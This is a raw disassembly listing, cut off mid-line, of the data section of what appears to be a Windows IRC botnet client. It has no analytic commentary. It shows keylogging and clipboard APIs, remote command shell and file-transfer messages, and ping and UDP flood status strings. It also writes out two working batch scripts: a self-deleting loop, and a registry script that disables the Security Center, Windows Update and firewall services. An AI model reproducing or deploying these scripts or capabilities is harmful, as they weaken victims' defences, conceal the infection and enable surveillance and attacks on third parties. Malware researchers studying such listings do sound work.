sub_4089F2+5C5o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4089F2+5B8o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4089F2+5ABo align 4 aHtons db 'htons',0 ; DATA XREF: sub_4089F2+59Eo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4089F2+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4089F2+584o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4089F2+577o ; .nsp0:0042C9ECo aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4089F2+56Ao aSocket db 'socket',0 ; DATA XREF: sub_4089F2+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4089F2+550o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4089F2+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4089F2+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4089F2+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4089F2+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4089F2+50Fo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4089F2+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4089F2+4F6o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4089F2+483o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4089F2+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4089F2+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4089F2+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4089F2+442o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4089F2+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4089F2:loc_408E01o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4089F2:loc_408DD9o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4089F2+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4089F2+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4089F2+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4089F2+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4089F2:loc_408D2Bo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4089F2+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4089F2+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4089F2+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4089F2+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4089F2+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4089F2:loc_408C51o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4089F2+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4089F2+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4089F2+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4089F2+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4089F2+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4089F2+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4089F2+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4089F2+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4089F2+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4089F2:loc_408B27o ; sub_41E6EE+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4089F2+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4089F2+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4089F2+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4089F2+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4089F2+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4089F2+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4089F2+Ao align 4 dword_429A0C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40967F+2F2o dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o align 10h aMirc db 'mIRC',0 ; DATA XREF: sub_409CCD+5o ; sub_414390+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409D4F+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409E15+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409E15+48o align 4 aCA1c_bat db 'c:\a1c.bat',0 ; DATA XREF: sub_409F9D+29o align 10h a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409F9D+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 4 unk_42B368 db 2 ; DATA XREF: sub_40A093:loc_40A152o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42B3AC db 2 ; DATA XREF: sub_40A093:loc_40A120o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 10h unk_42B3F0 db 2 ; DATA XREF: sub_40A093:loc_40A0ECo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42B428 db 2 ; DATA XREF: sub_40A093+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42B46C db 2 ; DATA XREF: sub_40A217+13Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42B4AC db 2 ; DATA XREF: sub_40A217+6Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 4 dword_42B4E8 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A3A3+1C6o dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42B528 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A3A3+8Eo dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o dword_42B574 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A6A8:loc_40A7DAo dd 2029206Ch, 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42B5B8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A6A8+10Fo dd 2029206Ch, 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42B5F4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A6A8:loc_40A78Eo dd 2029206Ch, 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42B638 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A7FD+194o dd 2029206Ch, 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42B680 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A7FD+14Co dd 2029206Ch, 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A7FD+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A9B2+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40AAD1+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40AAD1+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o align 4 word_42B7C4 dw 3Fh ; DATA XREF: sub_40AAD1:loc_40ABD3r ; sub_40C297+1Fo align 4 dword_42B7C8 dd 28207325h, 297325hdword_42B7D0 dd 3F3F3Fh ; .nsp0:loc_414341o a2003 db '2003',0 ; DATA XREF: sub_40AAD1+BAo ; .nsp0:0042C474o ... align 4 aXp db 'XP',0 ; DATA XREF: sub_40AAD1+AAo ; .nsp0:0041432Co ... align 10h a2k db '2K',0 ; DATA XREF: sub_40AAD1+98o ; .nsp0:0041431Co align 4 aMe db 'ME',0 ; DATA XREF: sub_40AAD1+7Eo ; .nsp0:00414303o align 4 a98 db '98',0 ; DATA XREF: sub_40AAD1+6Co ; .nsp0:004142F3o align 4 aNt db 'NT',0 ; DATA XREF: sub_40AAD1+5Ao ; .nsp0:004142E3o align 10h a95 db '95',0 ; DATA XREF: sub_40AAD1+46o ; .nsp0:004142D5o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40AD85+ABo align 4 off_42B834 dd offset loc_412F4C+2 ; DATA XREF: sub_40AD85:loc_40ADF9o dword_42B838 dd 4E414Ch dword_42B83C dd 6C616944h, 70752Dhdword_42B844 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_42B854 db 2 ; DATA XREF: sub_40AE4B:loc_40B004o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 4 unk_42B898 db 2 ; DATA XREF: sub_40AE4B:loc_40AFFDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42B8D8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AE4B+1A0o dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch dd 2E4C5255h, 0 unk_42B908 db 2 ; DATA XREF: sub_40AE4B:loc_40AFDEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42B958 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AE4B+18Co dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h dd 2E646574h, 0 dword_42B988 dd 2A2F2Ah dword_42B98C dd 202E6425h, 3D207325h, 732520hdword_42B998 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o align 4 dword_42B9CC dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_40B20D+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_42BA04 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B27F+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_42BA34 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B27F+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h dword_42BA58 dd 80000002h, 42C268h, 80000002h, 42C298h, 80000001h, 42C2D0h ; DATA XREF: sub_40B3AE+7o dword_42BA70 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B3AE+63o ; sub_40B551+170o dd 2029206Ch, 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42BAB8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B551+ABo dd 2029206Ch, 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42BAFC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B551+47o ; sub_40B712+FDo dd 2029206Ch, 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42BB34 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+362o ; sub_40BAB4+156o dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h dd 2E726Fh dword_42BB60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+2FAo dd 2029206Ch, 2BBBB02h aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42BBB4 dd 28026502h, 62302E31h, 